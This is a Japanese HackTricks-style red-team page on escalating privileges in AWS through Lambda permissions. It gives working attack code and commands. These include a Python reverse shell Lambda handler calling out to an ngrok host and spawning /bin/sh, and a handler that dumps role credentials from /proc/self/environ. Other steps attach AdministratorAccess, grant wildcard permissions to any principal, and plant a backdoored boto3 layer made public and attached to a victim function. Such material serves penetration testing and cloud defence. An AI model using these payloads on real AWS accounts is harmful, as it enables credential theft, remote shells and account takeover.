AWS - Lambda Privesc

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

lambda

Lambdaに関する詳細情報はこちら:

pageAWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

iam:PassRole, lambda:CreateFunction, および lambda:InvokeFunction 権限を持つユーザーは特権を昇格させることができます。 彼らは新しいLambda関数を作成し、既存のIAMロールを割り当てることができ、そのロールに関連付けられた権限を関数に付与できます。ユーザーはその後、このLambda関数にコードを書き込み、アップロードすることができます(たとえば、rev shellを使用)。 関数が設定されると、ユーザーはAWS APIを介してLambda関数を呼び出すことで、関数の実行をトリガーし、意図したアクションを実行できます。このアプローチにより、ユーザーはLambda関数を介して間接的にタスクを実行し、それに関連付けられたIAMロールが付与されたアクセスレベルで操作することができます。\

攻撃者はこれを悪用してrev shellを取得し、トークンを盗むことができます:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

あなたは、Lambda関数自体からLambdaロールの権限を悪用することもできます。 Lambdaロールに十分な権限がある場合、それを使用して管理者権限を付与することができます:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

Lambdaのロール資格情報を外部接続なしで漏洩させることも可能です。これは、内部タスクで使用されるネットワーク隔離されたLambdaに役立ちます。逆シェルをフィルタリングする未知のセキュリティグループがある場合、このコード片は、Lambdaの出力として資格情報を直接漏洩させることを可能にします。

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

潜在的影響: 指定された任意のLambdaサービスロールへの直接権限昇格。

興味深いように見えるかもしれませんが、lambda:InvokeAsync だけでは aws lambda invoke-async を実行することはできません。lambda:InvokeFunction も必要です。

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

前のシナリオと同様に、lambda:AddPermission 権限があれば、自分自身に lambda:InvokeFunction 権限を付与することができます。

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

潜在的影響: 指定された任意のLambdaサービスロールへの直接権限昇格。

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

iam:PassRole, lambda:CreateFunction, および lambda:CreateEventSourceMapping 権限を持つユーザー(および潜在的に dynamodb:PutItem および dynamodb:CreateTable)は、lambda:InvokeFunction がなくても間接的に権限昇格を行うことができます。 彼らは悪意のあるコードを持つLambda関数を作成し、既存のIAMロールを割り当てることができます。

Lambdaを直接呼び出す代わりに、ユーザーはDynamoDBテーブルを設定するか既存のテーブルを利用し、そのテーブルをLambdaにイベントソースマッピングを介してリンクします。この設定により、ユーザーのアクションまたは他のプロセスによってテーブルに新しいアイテムが入力されると、Lambda関数が自動的にトリガーされ、渡されたIAMロールの権限でコードが実行されます。

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

もしDynamoDBがAWS環境で既にアクティブである場合、ユーザーはLambda関数のためにイベントソースマッピングを確立する必要があります。しかし、もしDynamoDBが使用されていない場合、ユーザーはストリーミングを有効にした新しいテーブルを作成する必要があります:

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

今、イベントソースマッピングを作成して、Lambda関数をDynamoDBテーブルに接続することが可能です:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Lambda 関数が DynamoDB ストリームにリンクされている場合、攻撃者は DynamoDB ストリームをアクティブ化することで Lambda を間接的にトリガーすることができます。これは、DynamoDB テーブルにアイテムを挿入することで達成できます:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

潜在的影響: 指定されたLambdaサービスロールへの直接権限昇格。

lambda:AddPermission

この権限を持つ攻撃者は、自分自身(または他のユーザー)に任意の権限を付与できます(これにより、リソースへのアクセス権を付与するリソースベースのポリシーが生成されます):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout

潜在的影響: コードの変更と実行の権限を付与することで、Lambdaサービスロールへの直接的な権限昇格が可能となります。

lambda:AddLayerVersionPermission

この権限を持つ攻撃者は、lambda:GetLayerVersion権限を自分自身(または他者)に付与することができます。彼はレイヤーにアクセスして脆弱性や機密情報を検索することができます。

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

潜在的影響: 機密情報へのアクセスが可能です。

lambda:UpdateFunctionCode

lambda:UpdateFunctionCode 権限を持つユーザーは、IAMロールにリンクされた既存のLambda関数のコードを変更する可能性があります。 攻撃者は、Lambdaのコードを変更してIAM資格情報を外部に送信することができます。

攻撃者は関数を直接呼び出す能力を持っていないかもしれませんが、Lambda関数が事前に存在し稼働している場合、既存のワークフローやイベントを介してトリガーされる可能性が高いため、変更されたコードの実行が間接的に容易になります。

# Thezip should contain the lambda code (trick: DOwnload the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

潜在的影響: 使用されているlambdaサービスロールへの直接的な権限昇格。

lambda:UpdateFunctionConfiguration

導入

Lambda Layersを使用すると、コードを別個に保存してlambda関数に含めることができ、関数コードを小さく保ちつつ複数の関数でコードを共有できます。

Lambda内部では、次のような関数を使用して、Pythonコードがどこから読み込まれているかのパスを確認できます:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

以下は場所です:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

たとえば、ライブラリboto3は/var/runtime/boto3(4番目の位置)から読み込まれます。

悪用

lambda:UpdateFunctionConfiguration権限を悪用して、lambda関数に新しいレイヤーを追加することが可能です。任意のコードを実行するには、このレイヤーにlambdaがインポートするライブラリが含まれている必要があります。Lambdaのコードを読むことができれば、これを簡単に見つけることができます。また、Lambdaがすでにレイヤーを使用している可能性があり、そのレイヤーをダウンロードしてそこにコードを追加することができるかもしれません。

たとえば、Lambdaがライブラリboto3を使用しているとします。これにより、ライブラリの最新バージョンを含むローカルレイヤーが作成されます:

pip3 install -t ./lambda_layer boto3

あなたは./lambda_layer/boto3/__init__.pyを開いて、グローバルコードにバックドアを追加することができます(たとえば、資格情報を外部に送信するための関数やリバースシェルを取得するための関数など)。

その後、./lambda_layerディレクトリをzipに圧縮して、新しいLambdaレイヤーを自分のアカウントにアップロードしてください(または、被害者のアカウントにアップロードすることもできますが、その場合は権限がないかもしれません)。 注意点として、/opt/python/boto3を上書きするために、Pythonフォルダを作成してライブラリをそこに配置する必要があります。また、Lambdaで使用されているPythonバージョンと互換性のあるレイヤーである必要があります。アカウントにアップロードする場合は、同じリージョンにある必要があります:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

今、アップロードされたLambdaレイヤーをどのアカウントでもアクセス可能にしてください:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

そして、Lambda レイヤーを被害者 Lambda 関数に添付します:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

次のステップは、関数を自分で呼び出すか、通常の手段で呼び出されるのを待つことです。これはより安全な方法です。

この脆弱性を悪用するより潜在的な方法は、以下で見つけることができます:

pageAWS - Lambda Layers Persistence

潜在的な影響: 使用されているLambdaサービスロールへの直接的な権限昇格。

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

これらの権限を持っている場合、関数を作成し、URLを呼び出して実行することができるかもしれません... しかし、私はそれをテストする方法を見つけることができませんでしたので、できるかどうか教えてください!

Lambda MitM

一部のLambdaはユーザーからのパラメーターで機密情報を受信する可能性があります。そのうちの1つでRCEを取得すると、他のユーザーが送信している情報を外部に流出させることができます。詳細は以下で確認できます:

pageAWS - Steal Lambda Requests

参考文献

htARTE(HackTricks AWS Red Team Expert)で**ゼロからヒーローまでAWSハッキングを学ぶ**

HackTricksをサポートする他の方法:

最終更新